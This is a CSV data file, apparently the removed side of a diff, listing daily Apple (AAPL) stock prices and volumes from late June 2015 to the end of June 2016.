-2015-06-23,127.4800033569336,127.61000061035156,126.87999725341797,127.02999877929688,117.66746520996094,30268900.0,AAPL
-2015-06-24,127.20999908447266,129.8000030517578,127.12000274658203,128.11000061035156,118.6678695678711,55280900.0,AAPL
-2015-06-25,128.86000061035156,129.1999969482422,127.5,127.5,118.10283660888672,31938100.0,AAPL
-2015-06-26,127.66999816894531,127.98999786376953,126.51000213623047,126.75,117.4081039428711,44066800.0,AAPL
-2015-06-29,125.45999908447266,126.47000122070312,124.4800033569336,124.52999877929688,115.3517074584961,49161400.0,AAPL
-2015-06-30,125.56999969482422,126.12000274658203,124.86000061035156,125.43000030517578,116.18538665771484,44370700.0,AAPL
-2015-07-01,126.9000015258789,126.94000244140625,125.98999786376953,126.5999984741211,117.26915740966797,30238800.0,AAPL
-2015-07-02,126.43000030517578,126.69000244140625,125.7699966430664,126.44000244140625,117.12094116210938,27211000.0,AAPL
-2015-07-06,124.94000244140625,126.2300033569336,124.8499984741211,126.0,116.71336364746094,28060400.0,AAPL
-2015-07-07,125.88999938964844,126.1500015258789,123.7699966430664,125.69000244140625,116.42621612548828,46946800.0,AAPL
-2015-07-08,124.4800033569336,124.63999938964844,122.54000091552734,122.56999969482422,113.53618621826172,60761600.0,AAPL
-2015-07-09,123.8499984741211,124.05999755859375,119.22000122070312,120.06999969482422,111.22044372558594,78595000.0,AAPL
-2015-07-10,121.94000244140625,123.8499984741211,121.20999908447266,123.27999877929688,114.19384765625,61354500.0,AAPL
-2015-07-13,125.02999877929688,125.76000213623047,124.31999969482422,125.66000366210938,116.39845275878906,41440500.0,AAPL
-2015-07-14,126.04000091552734,126.37000274658203,125.04000091552734,125.61000061035156,116.35211181640625,31768100.0,AAPL
-2015-07-15,125.72000122070312,127.1500015258789,125.58000183105469,126.81999969482422,117.47294616699219,33649200.0,AAPL
-2015-07-16,127.73999786376953,128.57000732421875,127.3499984741211,128.50999450683594,119.03837585449219,36222400.0,AAPL
-2015-07-17,129.0800018310547,129.6199951171875,128.30999755859375,129.6199951171875,120.0665512084961,46164700.0,AAPL
-2015-07-20,130.97000122070312,132.97000122070312,130.6999969482422,132.07000732421875,122.33599853515625,58900200.0,AAPL
-2015-07-21,132.85000610351562,132.9199981689453,130.32000732421875,130.75,121.11328887939453,76756400.0,AAPL
-2015-07-22,121.98999786376953,125.5,121.98999786376953,125.22000122070312,115.9908676147461,115450600.0,AAPL
-2015-07-23,126.19999694824219,127.08999633789062,125.05999755859375,125.16000366210938,115.93529510498047,50999500.0,AAPL
-2015-07-24,125.31999969482422,125.73999786376953,123.9000015258789,124.5,115.32392883300781,42162300.0,AAPL
-2015-07-27,123.08999633789062,123.61000061035156,122.12000274658203,122.7699966430664,113.72144317626953,44455500.0,AAPL
-2015-07-28,123.37999725341797,123.91000366210938,122.55000305175781,123.37999725341797,114.28649139404297,33618100.0,AAPL
-2015-07-29,123.1500015258789,123.5,122.2699966430664,122.98999786376953,113.92522430419922,37011700.0,AAPL
-2015-07-30,122.31999969482422,122.56999969482422,121.70999908447266,122.37000274658203,113.35094451904297,33628300.0,AAPL
-2015-07-31,122.5999984741211,122.63999938964844,120.91000366210938,121.30000305175781,112.35978698730469,42885000.0,AAPL
-2015-08-03,121.5,122.56999969482422,117.5199966430664,118.44000244140625,109.71057891845703,69976000.0,AAPL
-2015-08-04,117.41999816894531,117.69999694824219,113.25,114.63999938964844,106.1906509399414,124138600.0,AAPL
-2015-08-05,112.94999694824219,117.44000244140625,112.0999984741211,115.4000015258789,106.8946304321289,99312600.0,AAPL
-2015-08-06,115.97000122070312,116.5,114.12000274658203,115.12999725341797,107.12724304199219,52903000.0,AAPL
-2015-08-07,114.58000183105469,116.25,114.5,115.5199966430664,107.4901351928711,38670400.0,AAPL
-2015-08-10,116.52999877929688,119.98999786376953,116.52999877929688,119.72000122070312,111.39820098876953,54951600.0,AAPL
-2015-08-11,117.80999755859375,118.18000030517578,113.33000183105469,113.48999786376953,105.60125732421875,97082800.0,AAPL
-2015-08-12,112.52999877929688,115.41999816894531,109.62999725341797,115.23999786376953,107.22959899902344,101217500.0,AAPL
-2015-08-13,116.04000091552734,116.4000015258789,114.54000091552734,115.1500015258789,107.1458740234375,48535800.0,AAPL
-2015-08-14,114.31999969482422,116.30999755859375,114.01000213623047,115.95999908447266,107.8995590209961,42929500.0,AAPL
-2015-08-17,116.04000091552734,117.6500015258789,115.5,117.16000366210938,109.01614379882812,40884700.0,AAPL
-2015-08-18,116.43000030517578,117.44000244140625,116.01000213623047,116.5,108.40201568603516,34560700.0,AAPL
-2015-08-19,116.0999984741211,116.5199966430664,114.68000030517578,115.01000213623047,107.01558685302734,48286500.0,AAPL
-2015-08-20,114.08000183105469,114.3499984741211,111.62999725341797,112.6500015258789,104.81965637207031,68501600.0,AAPL
-2015-08-21,110.43000030517578,111.9000015258789,105.6500015258789,105.76000213623047,98.40855407714844,128275500.0,AAPL
-2015-08-24,94.87000274658203,108.80000305175781,92.0,103.12000274658203,95.95209503173828,162206300.0,AAPL
-2015-08-25,111.11000061035156,111.11000061035156,103.5,103.73999786376953,96.52896881103516,103601600.0,AAPL
-2015-08-26,107.08999633789062,109.88999938964844,105.05000305175781,109.69000244140625,102.06539154052734,96774600.0,AAPL
-2015-08-27,112.2300033569336,113.23999786376953,110.0199966430664,112.91999816894531,105.07088470458984,84616100.0,AAPL
-2015-08-28,112.16999816894531,113.30999755859375,111.54000091552734,113.29000091552734,105.41515350341797,53164400.0,AAPL
-2015-08-31,112.02999877929688,114.52999877929688,112.0,112.76000213623047,104.92200469970703,56229300.0,AAPL
-2015-09-01,110.1500015258789,111.87999725341797,107.36000061035156,107.72000122070312,100.2323226928711,76845900.0,AAPL
-2015-09-02,110.2300033569336,112.33999633789062,109.12999725341797,112.33999633789062,104.53118133544922,61888800.0,AAPL
-2015-09-03,112.48999786376953,112.77999877929688,110.04000091552734,110.37000274658203,102.6981201171875,53233900.0,AAPL
-2015-09-04,108.97000122070312,110.44999694824219,108.51000213623047,109.2699966430664,101.67457580566406,49996300.0,AAPL
-2015-09-08,111.75,112.55999755859375,110.31999969482422,112.30999755859375,104.50326538085938,54843600.0,AAPL
-2015-09-09,113.76000213623047,114.0199966430664,109.7699966430664,110.1500015258789,102.49341583251953,85010800.0,AAPL
-2015-09-10,110.2699966430664,113.27999877929688,109.9000015258789,112.56999969482422,104.7452163696289,62892800.0,AAPL
-2015-09-11,111.79000091552734,114.20999908447266,111.76000213623047,114.20999908447266,106.27119445800781,49915500.0,AAPL
-2015-09-14,116.58000183105469,116.88999938964844,114.86000061035156,115.30999755859375,107.29472351074219,58363400.0,AAPL
-2015-09-15,115.93000030517578,116.52999877929688,114.41999816894531,116.27999877929688,108.19731140136719,43341200.0,AAPL
-2015-09-16,116.25,116.54000091552734,115.44000244140625,116.41000366210938,108.31829071044922,37173500.0,AAPL
-2015-09-17,115.66000366210938,116.48999786376953,113.72000122070312,113.91999816894531,106.00135040283203,64112600.0,AAPL
-2015-09-18,112.20999908447266,114.30000305175781,111.87000274658203,113.44999694824219,105.56404113769531,74285300.0,AAPL
-2015-09-21,113.66999816894531,115.37000274658203,113.66000366210938,115.20999908447266,107.20169830322266,50222000.0,AAPL
-2015-09-22,113.37999725341797,114.18000030517578,112.5199966430664,113.4000015258789,105.51750946044922,50346200.0,AAPL
-2015-09-23,113.62999725341797,114.72000122070312,113.30000305175781,114.31999969482422,106.3735580444336,35756700.0,AAPL
-2015-09-24,113.25,115.5,112.37000274658203,115.0,107.00629425048828,50219500.0,AAPL
-2015-09-25,116.44000244140625,116.69000244140625,114.0199966430664,114.70999908447266,106.73645782470703,56151900.0,AAPL
-2015-09-28,113.8499984741211,114.56999969482422,112.44000244140625,112.44000244140625,104.62423706054688,52109000.0,AAPL
-2015-09-29,112.83000183105469,113.51000213623047,107.86000061035156,109.05999755859375,101.47917938232422,73365400.0,AAPL
-2015-09-30,110.16999816894531,111.54000091552734,108.7300033569336,110.30000305175781,102.63299560546875,66473000.0,AAPL
-2015-10-01,109.06999969482422,109.62000274658203,107.30999755859375,109.58000183105469,101.9630355834961,63929100.0,AAPL
-2015-10-02,108.01000213623047,111.01000213623047,107.55000305175781,110.37999725341797,102.70742797851562,58019800.0,AAPL
-2015-10-05,109.87999725341797,111.37000274658203,109.06999969482422,110.77999877929688,103.07963562011719,52064700.0,AAPL
-2015-10-06,110.62999725341797,111.73999786376953,109.7699966430664,111.30999755859375,103.5727767944336,48196800.0,AAPL
-2015-10-07,111.73999786376953,111.7699966430664,109.41000366210938,110.77999877929688,103.07963562011719,46765600.0,AAPL
-2015-10-08,110.19000244140625,110.19000244140625,108.20999908447266,109.5,101.88858795166016,61979600.0,AAPL
-2015-10-09,110.0,112.27999877929688,109.48999786376953,112.12000274658203,104.32648468017578,52766100.0,AAPL
-2015-10-12,112.7300033569336,112.75,111.44000244140625,111.5999984741211,103.84263610839844,30467200.0,AAPL
-2015-10-13,110.81999969482422,112.44999694824219,110.68000030517578,111.79000091552734,104.0194091796875,33049300.0,AAPL
-2015-10-14,111.29000091552734,111.5199966430664,109.55999755859375,110.20999908447266,102.54925537109375,44462400.0,AAPL
-2015-10-15,110.93000030517578,112.0999984741211,110.48999786376953,111.86000061035156,104.08456420898438,37673500.0,AAPL
-2015-10-16,111.77999877929688,112.0,110.52999877929688,111.04000091552734,103.32156372070312,39232600.0,AAPL
-2015-10-19,110.80000305175781,111.75,110.11000061035156,111.7300033569336,103.96359252929688,29759200.0,AAPL
-2015-10-20,111.33999633789062,114.16999816894531,110.81999969482422,113.7699966430664,105.86180114746094,48967800.0,AAPL
-2015-10-21,114.0,115.58000183105469,113.69999694824219,113.76000213623047,105.85249328613281,41795200.0,AAPL
-2015-10-22,114.33000183105469,115.5,114.0999984741211,115.5,107.4715576171875,41654100.0,AAPL
-2015-10-23,116.69999694824219,119.2300033569336,116.33000183105469,119.08000183105469,110.80267333984375,59366900.0,AAPL
-2015-10-26,118.08000183105469,118.12999725341797,114.91999816894531,115.27999877929688,107.26683044433594,66333800.0,AAPL
-2015-10-27,115.4000015258789,116.54000091552734,113.98999786376953,114.55000305175781,106.58756256103516,69884400.0,AAPL
-2015-10-28,116.93000030517578,119.30000305175781,116.05999755859375,119.2699966430664,110.9794692993164,85551400.0,AAPL
-2015-10-29,118.69999694824219,120.69000244140625,118.2699966430664,120.52999877929688,112.15190124511719,51227300.0,AAPL
-2015-10-30,120.98999786376953,121.22000122070312,119.44999694824219,119.5,111.1935043334961,49365300.0,AAPL
-2015-11-02,120.80000305175781,121.36000061035156,119.61000061035156,121.18000030517578,112.7567138671875,32203300.0,AAPL
-2015-11-03,120.79000091552734,123.48999786376953,120.69999694824219,122.56999969482422,114.05009460449219,45519000.0,AAPL
-2015-11-04,123.12999725341797,123.81999969482422,121.62000274658203,122.0,113.51971435546875,44886100.0,AAPL
-2015-11-05,121.8499984741211,122.69000244140625,120.18000030517578,120.91999816894531,112.99640655517578,39552700.0,AAPL
-2015-11-06,121.11000061035156,121.80999755859375,120.62000274658203,121.05999755859375,113.12722778320312,33042300.0,AAPL
-2015-11-09,120.95999908447266,121.80999755859375,120.05000305175781,120.56999969482422,112.66936492919922,33871400.0,AAPL
-2015-11-10,116.9000015258789,118.06999969482422,116.05999755859375,116.7699966430664,109.11833953857422,59127900.0,AAPL
-2015-11-11,116.37000274658203,117.41999816894531,115.20999908447266,116.11000061035156,108.50160217285156,45218000.0,AAPL
-2015-11-12,116.26000213623047,116.81999969482422,115.6500015258789,115.72000122070312,108.13713836669922,32525600.0,AAPL
-2015-11-13,115.19999694824219,115.56999969482422,112.2699966430664,112.33999633789062,104.97863006591797,45812400.0,AAPL
-2015-11-16,111.37999725341797,114.23999786376953,111.0,114.18000030517578,106.69807434082031,38106700.0,AAPL
-2015-11-17,114.91999816894531,115.05000305175781,113.31999969482422,113.69000244140625,106.24017333984375,27616900.0,AAPL
-2015-11-18,115.76000213623047,117.48999786376953,115.5,117.29000091552734,109.60426330566406,46674700.0,AAPL
-2015-11-19,117.63999938964844,119.75,116.76000213623047,118.77999877929688,110.99663543701172,43295800.0,AAPL
-2015-11-20,119.19999694824219,119.91999816894531,118.8499984741211,119.30000305175781,111.48255920410156,34287100.0,AAPL
-2015-11-23,119.2699966430664,119.7300033569336,117.33999633789062,117.75,110.03414154052734,32482500.0,AAPL
-2015-11-24,117.33000183105469,119.3499984741211,117.12000274658203,118.87999725341797,111.090087890625,42803200.0,AAPL
-2015-11-25,119.20999908447266,119.2300033569336,117.91999816894531,118.02999877929688,110.29576110839844,21388300.0,AAPL
-2015-11-27,118.29000091552734,118.41000366210938,117.5999984741211,117.80999755859375,110.0902099609375,13046400.0,AAPL
-2015-11-30,117.98999786376953,119.41000366210938,117.75,118.30000305175781,110.54810333251953,39180300.0,AAPL
-2015-12-01,118.75,118.80999755859375,116.86000061035156,117.33999633789062,109.65099334716797,34852400.0,AAPL
-2015-12-02,117.33999633789062,118.11000061035156,116.08000183105469,116.27999877929688,108.66045379638672,33386600.0,AAPL
-2015-12-03,116.55000305175781,116.79000091552734,114.22000122070312,115.19999694824219,107.65122985839844,41569500.0,AAPL
-2015-12-04,115.29000091552734,119.25,115.11000061035156,119.02999877929688,111.23026275634766,57777000.0,AAPL
-2015-12-07,118.9800033569336,119.86000061035156,117.80999755859375,118.27999877929688,110.52941131591797,32084200.0,AAPL
-2015-12-08,117.5199966430664,118.5999984741211,116.86000061035156,118.2300033569336,110.48265838623047,34309500.0,AAPL
-2015-12-09,117.63999938964844,117.69000244140625,115.08000183105469,115.62000274658203,108.043701171875,46361400.0,AAPL
-2015-12-10,116.04000091552734,116.94000244140625,115.51000213623047,116.16999816894531,108.55766296386719,29212700.0,AAPL
-2015-12-11,115.19000244140625,115.38999938964844,112.8499984741211,113.18000030517578,105.76358795166016,46886200.0,AAPL
-2015-12-14,112.18000030517578,112.68000030517578,109.79000091552734,112.4800033569336,105.10945129394531,64318700.0,AAPL
-2015-12-15,111.94000244140625,112.80000305175781,110.3499984741211,110.48999786376953,103.24987030029297,53323100.0,AAPL
-2015-12-16,111.06999969482422,111.98999786376953,108.80000305175781,111.33999633789062,104.04415130615234,56238500.0,AAPL
-2015-12-17,112.0199966430664,112.25,108.9800033569336,108.9800033569336,101.83881378173828,44772800.0,AAPL
-2015-12-18,108.91000366210938,109.5199966430664,105.80999755859375,106.02999877929688,99.08211517333984,96453300.0,AAPL
-2015-12-21,107.27999877929688,107.37000274658203,105.56999969482422,107.33000183105469,100.29692077636719,47590600.0,AAPL
-2015-12-22,107.4000015258789,107.72000122070312,106.44999694824219,107.2300033569336,100.2034912109375,32789400.0,AAPL
-2015-12-23,107.2699966430664,108.8499984741211,107.19999694824219,108.61000061035156,101.49304962158203,32657400.0,AAPL
-2015-12-24,109.0,109.0,107.94999694824219,108.02999877929688,100.95105743408203,13570400.0,AAPL
-2015-12-28,107.58999633789062,107.69000244140625,106.18000030517578,106.81999969482422,99.82035827636719,26704200.0,AAPL
-2015-12-29,106.95999908447266,109.43000030517578,106.86000061035156,108.73999786376953,101.6145248413086,30931200.0,AAPL
-2015-12-30,108.58000183105469,108.69999694824219,107.18000030517578,107.31999969482422,100.2875747680664,25213800.0,AAPL
-2015-12-31,107.01000213623047,107.02999877929688,104.81999969482422,105.26000213623047,98.3625717163086,40912300.0,AAPL
-2016-01-04,102.61000061035156,105.37000274658203,102.0,105.3499984741211,98.4466552734375,67649400.0,AAPL
-2016-01-05,105.75,105.8499984741211,102.41000366210938,102.70999908447266,95.97967529296875,55791000.0,AAPL
-2016-01-06,100.55999755859375,102.37000274658203,99.87000274658203,100.69999694824219,94.10138702392578,68457400.0,AAPL
-2016-01-07,98.68000030517578,100.12999725341797,96.43000030517578,96.44999694824219,90.12986755371094,81094400.0,AAPL
-2016-01-08,98.55000305175781,99.11000061035156,96.76000213623047,96.95999908447266,90.60643768310547,70798000.0,AAPL
-2016-01-11,98.97000122070312,99.05999755859375,97.33999633789062,98.52999877929688,92.07356262207031,49739400.0,AAPL
-2016-01-12,100.55000305175781,100.69000244140625,98.83999633789062,99.95999908447266,93.40987396240234,49154200.0,AAPL
-2016-01-13,100.31999969482422,101.19000244140625,97.30000305175781,97.38999938964844,91.00827026367188,62439600.0,AAPL
-2016-01-14,97.95999908447266,100.4800033569336,95.73999786376953,99.5199966430664,92.99869537353516,63170100.0,AAPL
-2016-01-15,96.19999694824219,97.70999908447266,95.36000061035156,97.12999725341797,90.76530456542969,79833900.0,AAPL
-2016-01-19,98.41000366210938,98.6500015258789,95.5,96.66000366210938,90.32610321044922,53087700.0,AAPL
-2016-01-20,95.0999984741211,98.19000244140625,93.41999816894531,96.79000091552734,90.44757843017578,72334400.0,AAPL
-2016-01-21,97.05999755859375,97.87999725341797,94.94000244140625,96.30000305175781,89.98970031738281,52161500.0,AAPL
-2016-01-22,98.62999725341797,101.45999908447266,98.37000274658203,101.41999816894531,94.77420043945312,65800500.0,AAPL
-2016-01-25,101.5199966430664,101.52999877929688,99.20999908447266,99.44000244140625,92.92395782470703,51794500.0,AAPL
-2016-01-26,99.93000030517578,100.87999725341797,98.06999969482422,99.98999786376953,93.4378890991211,75077000.0,AAPL
-2016-01-27,96.04000091552734,96.62999725341797,93.33999633789062,93.41999816894531,87.29841613769531,133369700.0,AAPL
-2016-01-28,93.79000091552734,94.5199966430664,92.38999938964844,94.08999633789062,87.92449951171875,55678800.0,AAPL
-2016-01-29,94.79000091552734,97.33999633789062,94.3499984741211,97.33999633789062,90.96153259277344,64416500.0,AAPL
-2016-02-01,96.47000122070312,96.70999908447266,95.4000015258789,96.43000030517578,90.11116790771484,40943500.0,AAPL
-2016-02-02,95.41999816894531,96.04000091552734,94.27999877929688,94.4800033569336,88.2889633178711,37357200.0,AAPL
-2016-02-03,95.0,96.83999633789062,94.08000183105469,96.3499984741211,90.03642272949219,45964300.0,AAPL
-2016-02-04,95.86000061035156,97.33000183105469,95.19000244140625,96.5999984741211,90.7598648071289,46471700.0,AAPL
-2016-02-05,96.5199966430664,96.91999816894531,93.69000244140625,94.0199966430664,88.3358383178711,46418100.0,AAPL
-2016-02-08,93.12999725341797,95.69999694824219,93.04000091552734,95.01000213623047,89.2660140991211,54021400.0,AAPL
-2016-02-09,94.29000091552734,95.94000244140625,93.93000030517578,94.98999786376953,89.24722290039062,44331200.0,AAPL
-2016-02-10,95.91999816894531,96.3499984741211,94.0999984741211,94.2699966430664,88.57073211669922,42343600.0,AAPL
-2016-02-11,93.79000091552734,94.72000122070312,92.58999633789062,93.69999694824219,88.0351791381836,50074700.0,AAPL
-2016-02-12,94.19000244140625,94.5,93.01000213623047,93.98999786376953,88.30765533447266,40351400.0,AAPL
-2016-02-16,95.0199966430664,96.8499984741211,94.61000061035156,96.63999938964844,90.79743957519531,49057900.0,AAPL
-2016-02-17,96.66999816894531,98.20999908447266,96.1500015258789,98.12000274658203,92.1879653930664,44863200.0,AAPL
-2016-02-18,98.83999633789062,98.88999938964844,96.08999633789062,96.26000213623047,90.4404296875,39021000.0,AAPL
-2016-02-19,96.0,96.76000213623047,95.80000305175781,96.04000091552734,90.23371887207031,35374200.0,AAPL
-2016-02-22,96.30999755859375,96.9000015258789,95.91999816894531,96.87999725341797,91.02293395996094,34280800.0,AAPL
-2016-02-23,96.4000015258789,96.5,94.55000305175781,94.69000244140625,88.96532440185547,31942600.0,AAPL
-2016-02-24,93.9800033569336,96.37999725341797,93.31999969482422,96.0999984741211,90.29008483886719,36255700.0,AAPL
-2016-02-25,96.05000305175781,96.76000213623047,95.25,96.76000213623047,90.91020202636719,27582700.0,AAPL
-2016-02-26,97.19999694824219,98.0199966430664,96.58000183105469,96.91000366210938,91.05113220214844,28991100.0,AAPL
-2016-02-29,96.86000061035156,98.2300033569336,96.6500015258789,96.69000244140625,90.84444427490234,35216300.0,AAPL
-2016-03-01,97.6500015258789,100.7699966430664,97.41999816894531,100.52999877929688,94.4522705078125,50407100.0,AAPL
-2016-03-02,100.51000213623047,100.88999938964844,99.63999938964844,100.75,94.65897369384766,33169600.0,AAPL
-2016-03-03,100.58000183105469,101.70999908447266,100.44999694824219,101.5,95.36363983154297,36955700.0,AAPL
-2016-03-04,102.37000274658203,103.75,101.37000274658203,103.01000213623047,96.78234100341797,46055100.0,AAPL
-2016-03-07,102.38999938964844,102.83000183105469,100.95999908447266,101.87000274658203,95.71125793457031,35828900.0,AAPL
-2016-03-08,100.77999877929688,101.76000213623047,100.4000015258789,101.02999877929688,94.92205047607422,31561900.0,AAPL
-2016-03-09,101.30999755859375,101.58000183105469,100.2699966430664,101.12000274658203,95.0066146850586,27201700.0,AAPL
-2016-03-10,101.41000366210938,102.23999786376953,100.1500015258789,101.16999816894531,95.0535888671875,33513600.0,AAPL
-2016-03-11,102.23999786376953,102.27999877929688,101.5,102.26000213623047,96.07766723632812,27408200.0,AAPL
-2016-03-14,101.91000366210938,102.91000366210938,101.77999877929688,102.5199966430664,96.32196044921875,25076100.0,AAPL
-2016-03-15,103.95999908447266,105.18000030517578,103.8499984741211,104.58000183105469,98.25743103027344,40067700.0,AAPL
-2016-03-16,104.61000061035156,106.30999755859375,104.58999633789062,105.97000122070312,99.56339263916016,38303500.0,AAPL
-2016-03-17,105.5199966430664,106.47000122070312,104.95999908447266,105.80000305175781,99.40367126464844,34420700.0,AAPL
-2016-03-18,106.33999633789062,106.5,105.19000244140625,105.91999816894531,99.51640319824219,44205200.0,AAPL
-2016-03-21,105.93000030517578,107.6500015258789,105.13999938964844,105.91000366210938,99.50701904296875,35502700.0,AAPL
-2016-03-22,105.25,107.29000091552734,105.20999908447266,106.72000122070312,100.26805114746094,32444400.0,AAPL
-2016-03-23,106.4800033569336,107.06999969482422,105.9000015258789,106.12999725341797,99.71369171142578,25703500.0,AAPL
-2016-03-24,105.47000122070312,106.25,104.88999938964844,105.66999816894531,99.28153228759766,26133000.0,AAPL
-2016-03-28,106.0,106.19000244140625,105.05999755859375,105.19000244140625,98.8305435180664,19411400.0,AAPL
-2016-03-29,104.88999938964844,107.79000091552734,104.87999725341797,107.68000030517578,101.17000579833984,31190100.0,AAPL
-2016-03-30,108.6500015258789,110.41999816894531,108.5999984741211,109.55999755859375,102.93635559082031,45601100.0,AAPL
-2016-03-31,109.72000122070312,109.9000015258789,108.87999725341797,108.98999786376953,102.40079498291016,25888400.0,AAPL
-2016-04-01,108.77999877929688,110.0,108.19999694824219,109.98999786376953,103.34034729003906,25874000.0,AAPL
-2016-04-04,110.41999816894531,112.19000244140625,110.2699966430664,111.12000274658203,104.40203094482422,37356200.0,AAPL
-2016-04-05,109.51000213623047,110.7300033569336,109.41999816894531,109.80999755859375,103.17124938964844,26578700.0,AAPL
-2016-04-06,110.2300033569336,110.9800033569336,109.19999694824219,110.95999908447266,104.25170135498047,26404100.0,AAPL
-2016-04-07,109.94999694824219,110.41999816894531,108.12000274658203,108.54000091552734,101.9780044555664,31801900.0,AAPL
-2016-04-08,108.91000366210938,109.7699966430664,108.16999816894531,108.66000366210938,102.09075164794922,23581700.0,AAPL
-2016-04-11,108.97000122070312,110.61000061035156,108.83000183105469,109.0199966430664,102.42898559570312,29407500.0,AAPL
-2016-04-12,109.33999633789062,110.5,108.66000366210938,110.44000244140625,103.76313781738281,27232300.0,AAPL
-2016-04-13,110.80000305175781,112.33999633789062,110.80000305175781,112.04000091552734,105.26641845703125,33257300.0,AAPL
-2016-04-14,111.62000274658203,112.38999938964844,111.33000183105469,112.0999984741211,105.32279205322266,25473900.0,AAPL
-2016-04-15,112.11000061035156,112.30000305175781,109.7300033569336,109.8499984741211,103.20881652832031,46939000.0,AAPL
-2016-04-18,108.88999938964844,108.94999694824219,106.94000244140625,107.4800033569336,100.98210906982422,60821500.0,AAPL
-2016-04-19,107.87999725341797,108.0,106.2300033569336,106.91000366210938,100.4465560913086,32384900.0,AAPL
-2016-04-20,106.63999938964844,108.08999633789062,106.05999755859375,107.12999725341797,100.65325164794922,30611000.0,AAPL
-2016-04-21,106.93000030517578,106.93000030517578,105.5199966430664,105.97000122070312,99.56339263916016,31552500.0,AAPL
-2016-04-22,105.01000213623047,106.4800033569336,104.62000274658203,105.68000030517578,99.2909164428711,33683100.0,AAPL
-2016-04-25,105.0,105.6500015258789,104.51000213623047,105.08000183105469,98.7271957397461,28031600.0,AAPL
-2016-04-26,103.91000366210938,105.30000305175781,103.91000366210938,104.3499984741211,98.04133605957031,56016200.0,AAPL
-2016-04-27,96.0,98.70999908447266,95.68000030517578,97.81999969482422,91.90611267089844,114602100.0,AAPL
-2016-04-28,97.61000061035156,97.87999725341797,94.25,94.83000183105469,89.09687805175781,82242700.0,AAPL
-2016-04-29,93.98999786376953,94.72000122070312,92.51000213623047,93.73999786376953,88.07276153564453,68531500.0,AAPL
-2016-05-02,93.97000122070312,94.08000183105469,92.4000015258789,93.63999938964844,87.97880554199219,48160100.0,AAPL
-2016-05-03,94.19999694824219,95.73999786376953,93.68000030517578,95.18000030517578,89.42570495605469,56831300.0,AAPL
-2016-05-04,95.19999694824219,95.9000015258789,93.81999969482422,94.19000244140625,88.49556732177734,41025500.0,AAPL
-2016-05-05,94.0,94.06999969482422,92.68000030517578,93.23999786376953,88.13636779785156,35890500.0,AAPL
-2016-05-06,93.37000274658203,93.44999694824219,91.8499984741211,92.72000122070312,87.64485168457031,43699900.0,AAPL
-2016-05-09,93.0,93.7699966430664,92.58999633789062,92.79000091552734,87.71100616455078,32936400.0,AAPL
-2016-05-10,93.33000183105469,93.56999969482422,92.11000061035156,93.41999816894531,88.30651092529297,33686800.0,AAPL
-2016-05-11,93.4800033569336,93.56999969482422,92.45999908447266,92.51000213623047,87.44632720947266,28719100.0,AAPL
-2016-05-12,92.72000122070312,92.77999877929688,89.47000122070312,90.33999633789062,85.39509582519531,76314700.0,AAPL
-2016-05-13,90.0,91.66999816894531,90.0,90.5199966430664,85.56523895263672,44392800.0,AAPL
-2016-05-16,92.38999938964844,94.38999938964844,91.6500015258789,93.87999725341797,88.74134063720703,61259800.0,AAPL
-2016-05-17,94.55000305175781,94.69999694824219,93.01000213623047,93.48999786376953,88.37268829345703,46916900.0,AAPL
-2016-05-18,94.16000366210938,95.20999908447266,93.88999938964844,94.55999755859375,89.38410949707031,42062400.0,AAPL
-2016-05-19,94.63999938964844,94.63999938964844,93.56999969482422,94.19999694824219,89.04381561279297,30442100.0,AAPL
-2016-05-20,94.63999938964844,95.43000030517578,94.5199966430664,95.22000122070312,90.00799560546875,32026000.0,AAPL
-2016-05-23,95.87000274658203,97.19000244140625,95.66999816894531,96.43000030517578,91.15176391601562,38018600.0,AAPL
-2016-05-24,97.22000122070312,98.08999633789062,96.83999633789062,97.9000015258789,92.54129791259766,35140200.0,AAPL
-2016-05-25,98.66999816894531,99.73999786376953,98.11000061035156,99.62000274658203,94.16714477539062,38168800.0,AAPL
-2016-05-26,99.68000030517578,100.7300033569336,98.63999938964844,100.41000366210938,94.91390991210938,56331200.0,AAPL
-2016-05-27,99.44000244140625,100.47000122070312,99.25,100.3499984741211,94.85718536376953,36341200.0,AAPL
-2016-05-31,99.5999984741211,100.4000015258789,98.81999969482422,99.86000061035156,94.3940200805664,42307200.0,AAPL
-2016-06-01,99.0199966430664,99.54000091552734,98.33000183105469,98.45999908447266,93.07063293457031,29173300.0,AAPL
-2016-06-02,97.5999984741211,97.83999633789062,96.62999725341797,97.72000122070312,92.37115478515625,40191600.0,AAPL
-2016-06-03,97.79000091552734,98.2699966430664,97.44999694824219,97.91999816894531,92.56019592285156,28504900.0,AAPL
-2016-06-06,97.98999786376953,101.88999938964844,97.55000305175781,98.62999725341797,93.23133087158203,23292500.0,AAPL
-2016-06-07,99.25,99.87000274658203,98.95999908447266,99.02999877929688,93.60944366455078,22409500.0,AAPL
-2016-06-08,99.0199966430664,99.55999755859375,98.68000030517578,98.94000244140625,93.52436828613281,20848100.0,AAPL
-2016-06-09,98.5,99.98999786376953,98.45999908447266,99.6500015258789,94.19551086425781,26601400.0,AAPL
-2016-06-10,98.52999877929688,99.3499984741211,98.4800033569336,98.83000183105469,93.42040252685547,31712900.0,AAPL
-2016-06-13,98.69000244140625,99.12000274658203,97.0999984741211,97.33999633789062,92.0119400024414,38020500.0,AAPL
-2016-06-14,97.31999969482422,98.4800033569336,96.75,97.45999908447266,92.1253890991211,31931900.0,AAPL
-2016-06-15,97.81999969482422,98.41000366210938,97.02999877929688,97.13999938964844,91.8228988647461,29445200.0,AAPL
-2016-06-16,96.44999694824219,97.75,96.06999969482422,97.55000305175781,92.21046447753906,31326800.0,AAPL
-2016-06-17,96.62000274658203,96.6500015258789,95.30000305175781,95.33000183105469,90.11197662353516,61008200.0,AAPL
-2016-06-20,96.0,96.56999969482422,95.02999877929688,95.0999984741211,89.89456176757812,34411900.0,AAPL
-2016-06-21,94.94000244140625,96.3499984741211,94.68000030517578,95.91000366210938,90.66021728515625,35546400.0,AAPL
-2016-06-22,96.25,96.88999938964844,95.3499984741211,95.55000305175781,90.3199234008789,29219100.0,AAPL
-2016-06-23,95.94000244140625,96.29000091552734,95.25,96.0999984741211,90.83982849121094,32240200.0,AAPL
-2016-06-24,92.91000366210938,94.66000366210938,92.6500015258789,93.4000015258789,88.2876205444336,75311400.0,AAPL
-2016-06-27,93.0,93.05000305175781,91.5,92.04000091552734,87.0020523071289,45489600.0,AAPL
-2016-06-28,92.9000015258789,93.66000366210938,92.13999938964844,93.58999633789062,88.46720886230469,40444900.0,AAPL
-2016-06-29,93.97000122070312,94.55000305175781,93.62999725341797,94.4000015258789,89.23286437988281,36531000.0,AAPL
-2016-06-30,94.44000244140625,95.7699966430664,94.30000305175781,95.5999984741211,90.36719512939453,35836400.0,AAPL
